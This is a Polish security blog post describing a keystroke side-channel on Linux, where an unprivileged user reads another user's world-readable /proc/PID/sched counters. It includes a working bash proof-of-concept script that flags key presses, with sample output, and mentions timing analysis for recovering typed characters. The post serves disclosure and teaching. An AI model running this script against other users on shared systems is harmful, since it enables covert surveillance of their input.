Podsłuchujemy naciśnięcia klawiszy innego użytkownika

nfsec.pl 1 rok temu

S

ystemy wieloużytkownikowe zaprojektowane są na udostępnianie dużej liczby informacji użytkownikom. Wiele z tych informacji jest „publiczna” i może być współdzielona pomiędzy różnymi użytkownikami. Nigdy nie można lekceważyć wpływu takich informacji na bezpieczeństwo. Poniżej znajduje się prosty skrypt, który umożliwia złośliwemu użytkownikowi podsłuchiwanie naciśnięć klawiszy innych użytkowników przy użyciu takich informacji. Atak wykorzystuje zwykłe nieuprzywilejowane konto i informacje o procesie ujawnione przez wirtualny system plików procfs (ang. process file system) obsługiwany przez m.in. system Linux. Zawiera on hierarchię plików wirtualnych, które opisują aktualny stan jądra, w tym dane statystyczne o pamięci procesów i niektórych ich wartościach rejestrów. Są one używane przez takie programy jak ps i top, aby zbierać i prezentować informacje o systemie oraz pomagać w debugowaniu oprogramowania. Domyślnie wiele z tych plików jest czytelnych dla wszystkich użytkowników systemu, co w naturalny sposób rodzi obawy, czy ich zawartość nie może ujawnić wrażliwych informacji innego użytkownika.

Jak nasz skrypt działa? Otóż pliki takie jak: /proc/$PID/sched oraz /proc/$pid/schedstat są czytelne dla wszystkich, więc możemy po prostu zapętlić jeden rdzeń procesora na ich odczycie, podczas gdy ofiara wykonuje swój proces na innym rdzeniu i szpiegować zmiany liczników. Jako użytkownik sniffer uruchamiamy skrypt, a jako argument podając numer PID powłoki bash innego użytkownika:

PNAME="$1" while :; do PID="$PNAME" if [ -n "$PID" ]; then echo $PID cd /proc/$PID/ break fi sleep 1 done S=0.0 while :; do V=`grep se.exec_start sched 2>/dev/null | cut -d: -f2-` [ -z "$V" ] && break if [ "$V" != "$S" ]; then VAL=`echo "$V - $S" | bc -l` VALI=`echo $VAL | cut -d. -f1` [ -z "$VALI" ] && VALI=0 if [ "$VALI" -le 815 -a "$VALI" -ge 785 ]; then # Cursor appeared : elif [ $VALI -le 415 -a $VALI -ge 385 ]; then # Cursor disappeared : elif [ $VALI -ge 150 ]; then echo "$VAL (KEY PRESSED)" else echo "$VAL" fi S=$V fi done

W tym samym czasie użytkownik agresor wpisuje w powłoce bash o numerze procesu 1482 polecenie uptime:

agresor@darkstar:~$ uptime 20:56:39 up 49 min, 2 users, load average: 1.43, 1.60, 1.72

Nasz szkodliwy użytkownik widzi to na swojej konsoli:

sniffer@darkstar:~$ ./keystroke.sh 1482 1482 5848645.461268 (KEY PRESSED) 6407.453557 (KEY PRESSED) 1111.534226 (KEY PRESSED) 449.158588 (KEY PRESSED) 1208.909325 (KEY PRESSED) 731.198414 (KEY PRESSED)

Ten dowód koncepcji (ang. Proof of Concept) liczy tylko liczbę naciśnięć klawiszy, ale można łatwo rozszerzyć jego działanie, aby odnotowywać opóźnienia między naciśnięciami klawiszy i przeprowadzać analizę statystyczną, aby nauczyć się znaków wejściowych, jak to zostało przedstawione w pracy pt. „Peeping Tom in the Neighborhood: Keystroke Eavesdropping on Multi-User Systems” oraz „Timing Analysis of Keystrokes and Timing Attacks on SSH„.

Więcej informacji: /proc/$PID/sched PoC: spy-gksu

Idź do oryginalnego materiału